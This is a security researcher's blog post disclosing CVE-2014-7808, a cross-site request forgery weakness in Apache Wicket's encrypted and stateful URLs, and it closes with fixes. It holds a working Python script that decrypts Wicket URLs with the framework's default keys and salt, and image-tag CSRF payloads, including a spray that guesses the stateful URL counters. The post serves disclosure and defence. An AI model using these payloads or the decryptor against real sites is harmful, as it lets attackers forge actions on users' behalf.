CVE-2014-7808 - Apache Wicket CSRF (2014)

Posted on Sat 29 October 2016 in posts

This is about a vulnerability I discovered in Apache Wicket in 2014, but never got around to publishing my write-up. So it's kinda outdated now... Apache Wicket is a web application framework for Java and is used by quite a few big sites. I had a closer look at the encrypted url feature, which supposedly protects from cross-site request forgery.

Unfortunately the proposed simple example is inherently flawed for two reasons. First I will give a quick reminder what CSRF (cross-site request forgery) is - you can skip over it if you are familiar with that term. Then I will explain why this solution doesn't protect you from CSRF and at the end I will propose a solution that works.

encrypted urls

CSRF Introduction

Cross-site request forgery is very simple but powerful. Imagine a browsergame with a form to send gold to another user:

<form action="/send_gold" method="get">
    gold: <input type="text" name="gold">
    user: <input type="text" name="user">
    <input type="submit" value="send gold">
</form>

When you submit this form, the browser will send a GET request to http://www.example.com/send_gold?gold=9999&user=samuirai. Now wouldn't it be great if all players of the game would be so nice to send you all their gold for showing them what CSRF is?

Just embed this URL as a picture, for example in your game profile or on a fan site:

<img src="http://www.example.com/send_gold?gold=9999&user=samuirai">

Hint: Open the developer console of your browser go to the Network tab and reload this site.

Every player who is logged into the game and visist a site with this image will unwillingly send this request to the game server and transfer the gold to you.

Defeating Encrypted URLs

Apache Wicket had the great idea that encrypted URLs stop an attacker from doing this, presumably because an attacker can't guess the URL. The default implementation org.apache.wicket.util.crypt.SunJceCrypt uses CRYPT_METHOD = "PBEWithMD5AndDES";, which means a password is hashed with MD5 (with a salt and 17 rounds) and this hash is used as key and iv for DES - not a very strong method, but there are bigger problems.

For example this URL path:
http://www.example.com/send_gold
becomes:
http://www.example.com/jLBQXvh2Z88wFVtnKfsZMw/jLB0f - very cryptic, huh?

But apache wicket does two mistakes here. First mistake is that the example implementation uses the default password: WiCkEt-FRAMEwork. Many many sites don't bother or don't know they should change the password. So an attacker can easily decrypt the URLs and generate all the valid URLs he wants - not only for CSRF but also for other attacks such as reflected XSS (how convinient that the URL hides injected Javascript from XSS auditor and alert users :P).

Proof of concept: This python script will try to decrypt URLs using a standard password. pip install pycrypto required.

from Crypto.Hash import MD5
from Crypto.Cipher import DES
import string, base64

# Code inspired by http://stackoverflow.com/questions/24168246/replicate-javas-pbewithmd5anddes-in-python-2-7
# CryptoMapper: insecure default encryption provider - https://issues.apache.org/jira/browse/WICKET-5327

# org.apache.wicket.util.crypt.AbstractCrypt
# private static final String DEFAULT_ENCRYPTION_KEY = "WiCkEt-CrYpT";
# org.apache.wicket.settings.ISecuritySettings
# public static final String DEFAULT_ENCRYPTION_KEY = "WiCkEt-FRAMEwork";
passwords = ["WiCkEt-CrYpT", "WiCkEt-FRAMEwork"]

# org.apache.wicket.util.crypt.SunJceCrypt
# private final static byte[] salt = { (byte)0x15, (byte)0x8c, (byte)0xa3, (byte)0x4a,
#            (byte)0x66, (byte)0x51, (byte)0x2a, (byte)0xbc };
salt = '\x15\x8c\xa3\x4a\x66\x51\x2a\xbc'
# private final static int COUNT = 17;
iterations = 17

# put your urls here (without leading /)
urls = ["mXHxTzUe5kU/mXH2c/HxTd3", "jLBQXvh2Z88wFVtnKfsZMw/jLB0f", "jLBQXvh2Z8_9tdbDCVb40AGz9WkLG1XqXeRj081Q1Jcz4Ns6k8UYfQ/jLB0f"]

for url in urls:
    hashes = url.split("/")[1:]
    url = url.split("/")[0]

    encrypted = url+'='*(4-len(url)%4)
    encrypted = base64.urlsafe_b64decode(encrypted)
    printset = set(string.printable)

    for password in passwords:
        # get password based of salt and do iterations
        hasher = MD5.new()
        hasher.update(password)
        hasher.update(salt)
        result = hasher.digest()
        for i in range(0, iterations-1):
            hasher = MD5.new()
            hasher.update(result)
            result = hasher.digest()

        # setup DES key and iv
        encoder = DES.new(result[:8], DES.MODE_CBC, result[8:16])
        decrypted = encoder.decrypt(encrypted)
        # check last byte for the number of paddings. eg. \x03 means the padding is \x03\x03\x03
        decrypted = decrypted[:-ord(decrypted[-1])]

        print "%s: %s" % (password, decrypted)

Ok let's assume the developers knew about the default password and changed it to sUp3r-pw. And nobody has a fast brute-force implementation for PBEWithMD5AndDES. They are still vulnerable to CSRF. How? - Well I as an attacker really don't care about the content of the URL. I just want to know where I can send the request to.

So when I see this form:

<form action="/jLBQXvh2Z88wFVtnKfsZMw/jLB0f" method="get">
    gold: <input type="text" name="gold"><br>
    user: <input type="text" name="user"><br>
    <input type="submit" value="send gold">
</form>

I just embed this encrypted URL:

<img src="http://www.example.com/jLBQXvh2Z88wFVtnKfsZMw/jLB0f?gold=9999&user=samuirai">

So this means the example "secure" implementation doesn't protect from CSRF at all.

Defeating Stateful URLs

Actually a bigger obstacle than encrypted URLs are Apache Wickets stateful URLs. They are easily identified with the number as parameter such as ?2:

http://www.example.com/?2

Form URLs typically look like this:

http://www.example.com/send_gold?2-3

Basically the first number is always incremented while visiting different subsites. While the second number is incremented on multiple refreshes on a single page. So this actually makes guessing the URL more difficult. I as an attacker don't know at what number a user currently is.

This even makes the encrypted URLs look more "cryptic" (constantly changing):

jLBQXvh2Z8-HODOeQCH9GQ/jLB0f
jLBQXvh2Z8-FU4wfhiD0Ow/jLB0f
jLBQXvh2Z89f9DoesvYokw/jLB0f

But this can be easily bypassed too, just by collecting a lot of urls. (note the incrementing parameters ?1-1, ?1-2, ...)

<img src="http://www.example.com/send_gold?1-1&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?1-2&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?1-3&gold=9999&user=samuirai">
...
<img src="http://www.example.com/send_gold?2-1&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?2-2&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?2-3&gold=9999&user=samuirai">
...
<img src="http://www.example.com/send_gold?3-1&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?3-2&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?3-3&gold=9999&user=samuirai">

Or collecting the encrypted URLs.

<img src="http://www.example.com/jLBQXvh2Z8-HODOeQCH9GQ/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z8-FU4wfhiD0Ow/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z89f9DoesvYokw/jLB0f&gold=9999&user=samuirai">
...
<img src="http://www.example.com/jLBQXvh2Z88wxDY9S3LTMQ/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z88oJJD4p5h0dg/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z8_PDocfRInEPA/jLB0f&gold=9999&user=samuirai">
...
<img src="http://www.example.com/jLBQXvh2Z8_81XMd6tmziQ/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z8-k4vLFlJzLkg/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z886SNVeRy1f2Q/jLB0f&gold=9999&user=samuirai">

When a user loads these hundreds of images, I can be very confident that at least ONE of them match the current state number.

This is a perfect example for a cryptographic replay attack.

Solutions

The best CSRF protection is a so called csrf-token. The server generates a random string for each form and embeds it as <input type="hidden" name="csrf-token" value="r4nd0m123">. When the form is submitted, the server verifies the token.

When using encryption, Apache Wicket should be configured to use org.apache.wicket.util.crypt.KeyInSessionSunJceCryptFactory which doesn't take a fixed key, but generates a new key for each user.

This info should also be added in the standard Apache Wicket Guide. Otherwise developers will continue to implement the default insecure example.


Funny sidenote: This master thesis analyzed the security of this feature and got it wrong.